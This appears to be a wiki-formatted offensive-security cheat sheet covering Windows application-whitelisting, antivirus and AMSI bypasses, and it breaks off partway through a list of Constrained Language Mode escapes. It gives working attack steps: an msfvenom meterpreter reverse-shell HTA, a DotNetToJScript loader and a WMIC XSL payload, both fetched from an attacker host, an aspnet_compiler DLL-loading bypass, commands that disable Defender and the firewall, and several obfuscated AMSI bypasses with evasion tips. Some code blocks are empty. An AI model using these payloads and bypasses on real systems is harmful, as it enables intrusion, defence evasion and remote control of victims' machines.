* Microsoft HTML Applications (MSHTA) execute  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files can have embedded JScript or VBS code.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  is commonly whitelisted because it&#039;s in  ​&amp;lt;code&amp;gt;C:\Windows\System32&amp;lt;/code&amp;gt;​  and is a signed Microsoft application.&lt;br /&gt;
&lt;br /&gt;
* Using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  can bypass whitelisting as an alternative to  &amp;lt;code&amp;gt;​wscript.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
Create a shortcut file on Windows target and create a &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file. For example, you can you use msfvenom&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443  -f hta-psh -o index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How to get a meterpreter shell using Jscript and MSHTA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Step 1 - Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection.&lt;br /&gt;
&lt;br /&gt;
Step 2 - Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta.&lt;br /&gt;
&lt;br /&gt;
Step 3 - To do this add HTML tags to the &amp;lt;code&amp;gt;.js&amp;lt;/code&amp;gt; file and change the extension to &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;. Call it index.hta.&lt;br /&gt;
&lt;br /&gt;
The code below is the outputted DotNetToJs jscript file but the the &amp;lt;html&amp;gt; tags added.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function setversion() {&lt;br /&gt;
new ActiveXObject(&#039;WScript.Shell&#039;).Environment(&#039;Process&#039;)(&#039;COMPLUS_Version&#039;) = &#039;v4.0.30319&#039;;&lt;br /&gt;
}&lt;br /&gt;
function debug(s) {}&lt;br /&gt;
function base64ToStream(b) {&lt;br /&gt;
    var enc = new ActiveXObject(&amp;quot;System.Text.ASCIIEncoding&amp;quot;);&lt;br /&gt;
    var length = enc.GetByteCount_2(b);&lt;br /&gt;
    var ba = enc.GetBytes_4(b);&lt;br /&gt;
    var transform = new ActiveXObject(&amp;quot;System.Security.Cryptography.FromBase64Transform&amp;quot;);&lt;br /&gt;
    ba = transform.TransformFinalBlock(ba, 0, length);&lt;br /&gt;
    var ms = new ActiveXObject(&amp;quot;System.IO.MemoryStream&amp;quot;);&lt;br /&gt;
    ms.Write(ba, 0, (length / 4) * 3);&lt;br /&gt;
    ms.Position = 0;&lt;br /&gt;
    return ms;&lt;br /&gt;
}&lt;br /&gt;
var serialized_obj = &amp;quot;AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy&amp;quot;+&lt;br /&gt;
&amp;quot;AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph&amp;quot;+&lt;br /&gt;
&amp;quot;dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk&amp;quot;+&lt;br /&gt;
.....&amp;quot;;&lt;br /&gt;
var entry_class = &#039;TestClass&#039;;&lt;br /&gt;
try {&lt;br /&gt;
    setversion();&lt;br /&gt;
    var stm = base64ToStream(serialized_obj);&lt;br /&gt;
    var fmt = new ActiveXObject(&#039;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#039;);&lt;br /&gt;
    var al = new ActiveXObject(&#039;System.Collections.ArrayList&#039;);&lt;br /&gt;
    var d = fmt.Deserialize_2(stm);&lt;br /&gt;
    al.Add(undefined);&lt;br /&gt;
    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);&lt;br /&gt;
} catch (e) {&lt;br /&gt;
    debug(e.message);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4 - Host this on your Kali using apache2 or python.&lt;br /&gt;
&lt;br /&gt;
Step 5 - On target there are a couple of ways to execute it. Either using shortcut as you see below.&lt;br /&gt;
&lt;br /&gt;
Or using the command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\mshta.exe http://kali-ip/index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or visiting the website using Internet Explorer. Using another browser will end up downloading the &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file and not executing it.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== XLS Transform ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Known As&#039;&#039;&#039;: Squiblytwo attack (see [https://attack.mitre.org/techniques/T1220/ Mitre T1220]).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Basic Principle&#039;&#039;&#039;: XSLT uses  ​.xsl​  documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Craft a Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Create a malicious XSL file containing the Jscript payload you want to execute.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: This XSL file will open  ​cmd.exe​  when triggered.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Host the Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Host the file on an Apache webserver or Python HTTP server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Trigger the Payload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* A new command prompt should open.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting Meterpreter shell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Edit the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; file &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The entire code will look like this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Host the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; on your kali and run the follow command on target&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== AppLocker bypass using Aspnet_Compiler.exe == &lt;br /&gt;
&lt;br /&gt;
This technique abuses &#039;&#039;&#039;aspnet_compiler.exe&#039;&#039;&#039;. This is a legimate Microsoft-signed binary shipped with the .NET framework to load and execute a custom DLL. Since the binary is trusted and signed by Microsoft, it can bypass some application whitelisting controls. &lt;br /&gt;
&lt;br /&gt;
The full path for the binary is: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt; is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.&lt;br /&gt;
&lt;br /&gt;
To perform this attack, we need to create a directory that mimicks a minimal ASP.NET web app.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
asptest\&lt;br /&gt;
├── web.config&lt;br /&gt;
├── App_Code\&lt;br /&gt;
│   └── dancingdogs.agh        &amp;lt;- this is the trigger file. the extenion is arbitrary.&lt;br /&gt;
└── bin\&lt;br /&gt;
    └── BringYourOwnBuilder.dll   &amp;lt;- this is your malicious dll &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;web.config&amp;lt;/code&amp;gt; file maps a custom extension to the malicous DLL class. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;configuration&amp;gt;&lt;br /&gt;
  &amp;lt;system.web&amp;gt;&lt;br /&gt;
    &amp;lt;compilation&amp;gt;&lt;br /&gt;
      &amp;lt;buildProviders&amp;gt;&lt;br /&gt;
        &amp;lt;add extension=&amp;quot;.agh&amp;quot; type=&amp;quot;BringYourOwnBuilder.BringYourOwnBuilder&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/buildProviders&amp;gt;&lt;br /&gt;
    &amp;lt;/compilation&amp;gt;&lt;br /&gt;
  &amp;lt;/system.web&amp;gt;&lt;br /&gt;
&amp;lt;/configuration&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The config above just tells &amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt;: When you encounter a &amp;lt;code&amp;gt;.agh&amp;lt;/code&amp;gt; file, use the &amp;lt;code&amp;gt;BringYourOwnBulder&amp;lt;/code&amp;gt; from &amp;lt;code&amp;gt;BringYourOwnBuilder.dll&amp;lt;/code&amp;gt; to compile it. &lt;br /&gt;
&lt;br /&gt;
Place a file with the matcing extension inside the folder &amp;lt;code&amp;gt;App_Code&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
App_Code\dancingdogs.agh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now we create a C# clasw library that inherits from &amp;lt;code&amp;gt;System.Web.Compilation.BuildProvider&amp;lt;/code&amp;gt; and ovverides the code &amp;lt;code&amp;gt;GenerateCode&amp;lt;/code&amp;gt; method. Any code that is placed in the &amp;lt;code&amp;gt;GenerateCode&amp;lt;/code&amp;gt; executes when the compiler processes the trigger file.&lt;br /&gt;
&lt;br /&gt;
Super simple PoC:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Web.Compilation;&lt;br /&gt;
using System.CodeDom;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
&lt;br /&gt;
namespace BringYourOwnBuilder&lt;br /&gt;
{&lt;br /&gt;
    public class BringYourOwnBuilder : BuildProvider&lt;br /&gt;
    {&lt;br /&gt;
        public override void GenerateCode(AssemblyBuilder ab)&lt;br /&gt;
        {&lt;br /&gt;
            MessageBox.Show(&amp;quot;code execution&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Place the compiled &amp;lt;code&amp;gt;BringYourOwnBuilder&amp;lt;/code&amp;gt; and place it in the &amp;lt;code&amp;gt;bin\&amp;lt;/code&amp;gt; folder. &lt;br /&gt;
&lt;br /&gt;
Now run the following command to invoke aspnet_compiler.exe, which in turn will execute your dll and a messagebox with &amp;quot;code execution&amp;quot; will pop up.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aspnet_compiler.exe  (Microsoft-signed, trusted)&lt;br /&gt;
        │&lt;br /&gt;
        └── reads web.config&lt;br /&gt;
                │&lt;br /&gt;
                └── &amp;lt;buildProviders&amp;gt; -&amp;gt; loads BringYourOwnBuilder.dll&lt;br /&gt;
                            │&lt;br /&gt;
                            └── GenerateCode() -&amp;gt; payload executes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\agh\desktop\asptest\ -f C:\users\agh\desktop\asptest\none -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The DLL is loaded by &amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt;, so all code runs inside a trusted process. &lt;br /&gt;
&lt;br /&gt;
Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/&lt;br /&gt;
&lt;br /&gt;
== AV Evasion - General ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#General_AV_Evasion_cheatsheet&lt;br /&gt;
&lt;br /&gt;
=== Check AV – Running, Exclusion, Disable ===&lt;br /&gt;
&lt;br /&gt;
* Check if Windows Defender is running: &amp;lt;code&amp;gt;Get-MpComputerStatus | Select RealTimeProtectionEnabled&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get info about Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find excluded folders from Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference | select Exclusion*&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create exclusion: &amp;lt;code&amp;gt;Set-MpPreference -ExclusionPath &amp;quot;&amp;lt;path&amp;gt;&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check AV detections: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get last AV detection: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable AV monitoring: &amp;lt;code&amp;gt;Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1&lt;br /&gt;
&lt;br /&gt;
* Enumerate AV / EDR: https://github.com/tothi/serviceDetector&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// What AV is running on the system&lt;br /&gt;
// Importing necessary namespaces&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management;&lt;br /&gt;
internal class Program&lt;br /&gt;
{&lt;br /&gt;
    static void Main(string[] args)&lt;br /&gt;
    {&lt;br /&gt;
        var status = false; // Variable to track the presence of antivirus software&lt;br /&gt;
        Console.WriteLine(&amp;quot;[+] Antivirus check is running .. &amp;quot;);&lt;br /&gt;
        // Array of antivirus processes to check for&lt;br /&gt;
        string[] AV_Check = {&lt;br /&gt;
            &amp;quot;MsMpEng.exe&amp;quot;, &amp;quot;AdAwareService.exe&amp;quot;, &amp;quot;afwServ.exe&amp;quot;, &amp;quot;avguard.exe&amp;quot;, &amp;quot;AVGSvc.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;bdagent.exe&amp;quot;, &amp;quot;BullGuardCore.exe&amp;quot;, &amp;quot;ekrn.exe&amp;quot;, &amp;quot;fshoster32.exe&amp;quot;, &amp;quot;GDScan.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;avp.exe&amp;quot;, &amp;quot;K7CrvSvc.exe&amp;quot;, &amp;quot;McAPExe.exe&amp;quot;, &amp;quot;NortonSecurity.exe&amp;quot;, &amp;quot;PavFnSvr.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;SavService.exe&amp;quot;, &amp;quot;EnterpriseService.exe&amp;quot;, &amp;quot;WRSA.exe&amp;quot;, &amp;quot;ZAPrivacyService.exe&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
        // Creating a ManagementObjectSearcher to query Windows processes&lt;br /&gt;
        var searcher = new ManagementObjectSearcher(&amp;quot;select * from win32_process&amp;quot;);&lt;br /&gt;
        var processList = searcher.Get(); // Retrieving the list of processes&lt;br /&gt;
        int i = 0;&lt;br /&gt;
        foreach (var process in processList)&lt;br /&gt;
        {&lt;br /&gt;
            // Checking if the process is one of the antivirus processes&lt;br /&gt;
            int _index = Array.IndexOf(AV_Check, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
            if (_index &amp;gt; -1)&lt;br /&gt;
            {&lt;br /&gt;
                // Antivirus process found&lt;br /&gt;
                Console.WriteLine(&amp;quot;--AV Found: {0}&amp;quot;, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
                status = true;&lt;br /&gt;
            }&lt;br /&gt;
            i++;&lt;br /&gt;
        }&lt;br /&gt;
        // Checking the status variable to determine if antivirus software was found or not&lt;br /&gt;
        if (!status)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;--AV software is not found!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Firewall ===&lt;br /&gt;
&lt;br /&gt;
* Get state: &amp;lt;code&amp;gt;Get-NetFirewallProfile -PolicyStore ActiveStore&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get rules: &amp;lt;code&amp;gt;Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change default policy: &amp;lt;code&amp;gt;Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Open port on firewall: &amp;lt;code&amp;gt;netsh advfirewall firewall add rule name=&amp;quot;Allow port&amp;quot; dir=in action=allow protocol=TCP localport=&amp;lt;PORT&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove firewall rule: &amp;lt;code&amp;gt;Remove-NetFirewallRule -DisplayName &amp;quot;Allow port&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell – ASMI bypass methods, Disable AV, etc ===&lt;br /&gt;
&lt;br /&gt;
[https://amsi.fail/ AMSI.fail]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.AmsiUtils&#039;).GetField(&#039;amsiInitFai&lt;br /&gt;
led&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AMSI Bypass ====&lt;br /&gt;
&lt;br /&gt;
* Start 64 bit powershell: &amp;lt;code&amp;gt;%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change execution policy: &amp;lt;code&amp;gt;Set-ExecutionPolicy Bypass&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-ExecutionPolicy Bypass&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;If patched, just change up the strings/variables.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$A=\&amp;quot;5492868772801748688168747280728187173688878280688776\&amp;quot; $B=\&amp;quot;8281173680867656877679866880867644817687416876797271\&amp;quot; function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \&amp;quot; \&amp;quot;} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,&#039;NonPublic,Static&#039;).SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Multi-line bypass:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$a = &#039;System.Management.Automation.A&#039;;$b = &#039;ms&#039;;$u = &#039;Utils&#039;&lt;br /&gt;
$assembly = [Ref].Assembly.GetType ( (&#039; {0} {1}i {2}&#039; -f $a,$b,$u))&lt;br /&gt;
$field = $assembly.GetField ( (&#039;a {0}iInitFailed&#039; -f $b),&#039;NonPublic,Static&#039;)&lt;br /&gt;
$field.SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
S`eT-It`em ( &#039;V&#039;+&#039;aR&#039; +  &#039;IA&#039; + (&#039;blE:1&#039;+&#039;q2&#039;)  + (&#039;uZ&#039;+&#039;x&#039;)  ) ( [TYpE](  &amp;quot;{1}{0}&amp;quot;-F&#039;F&#039;,&#039;rE&#039;  ) )  ;    (    Get-varI`A`BLE  ( (&#039;1Q&#039;+&#039;2U&#039;)  +&#039;zX&#039;  )  -VaL  ).&amp;quot;A`ss`Embly&amp;quot;.&amp;quot;GET`TY`Pe&amp;quot;((  &amp;quot;{6}{3}{1}{4}{2}{0}{5}&amp;quot; -f(&#039;Uti&#039;+&#039;l&#039;),&#039;A&#039;,(&#039;Am&#039;+&#039;si&#039;),(&#039;.Man&#039;+&#039;age&#039;+&#039;men&#039;+&#039;t.&#039;),(&#039;u&#039;+&#039;to&#039;+&#039;mation.&#039;),&#039;s&#039;,(&#039;Syst&#039;+&#039;em&#039;)  ) ).&amp;quot;g`etf`iElD&amp;quot;(  ( &amp;quot;{0}{2}{1}&amp;quot; -f(&#039;a&#039;+&#039;msi&#039;),&#039;d&#039;,(&#039;I&#039;+&#039;nitF&#039;+&#039;aile&#039;)  ),(  &amp;quot;{2}{4}{0}{1}{3}&amp;quot; -f (&#039;S&#039;+&#039;tat&#039;),&#039;i&#039;,(&#039;Non&#039;+&#039;Publ&#039;+&#039;i&#039;),&#039;c&#039;,&#039;c,&#039;  )).&amp;quot;sE`T`VaLUE&amp;quot;(  ${n`ULl},${t`RuE} )&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.&#039;+$(&amp;quot;41 6D 73 69 55 74 69 6C 73&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($(&amp;quot;61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it’s originally from Matt Graeber)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType((&amp;quot;{5}{2}{0}{1}{3}{6}{4}&amp;quot; -f &#039;ut&#039;,(&#039;oma&#039;+&#039;t&#039;+&#039;ion.&#039;),&#039;.A&#039;,(&#039;Ams&#039;+&#039;iUt&#039;),&#039;ls&#039;,(&#039;S&#039;+&#039;ystem.&#039;+&#039;Manage&#039;+&#039;men&#039;+&#039;t&#039;),&#039;i&#039;)).GetField((&amp;quot;{1}{2}{0}&amp;quot; -f (&#039;Co&#039;+&#039;n&#039;+&#039;text&#039;),(&#039;am&#039;+&#039;s&#039;),&#039;i&#039;),[Reflection.BindingFlags](&amp;quot;{4}{2}{3}{0}{1}&amp;quot; -f(&#039;b&#039;+&#039;lic,Sta&#039;+&#039;ti&#039;),&#039;c&#039;,&#039;P&#039;,&#039;u&#039;,(&#039;N&#039;+&#039;on&#039;))).GetValue($null),0x41414141)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html]&lt;br /&gt;
&lt;br /&gt;
==== Bypass CLM (Constrained Language Mode) ====&lt;br /&gt;
&lt;br /&gt;
Escapes for Constrained Language Mode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Escape 1&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode&lt;br /&gt;
# Escape 2&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
# Escape 3&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 4&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
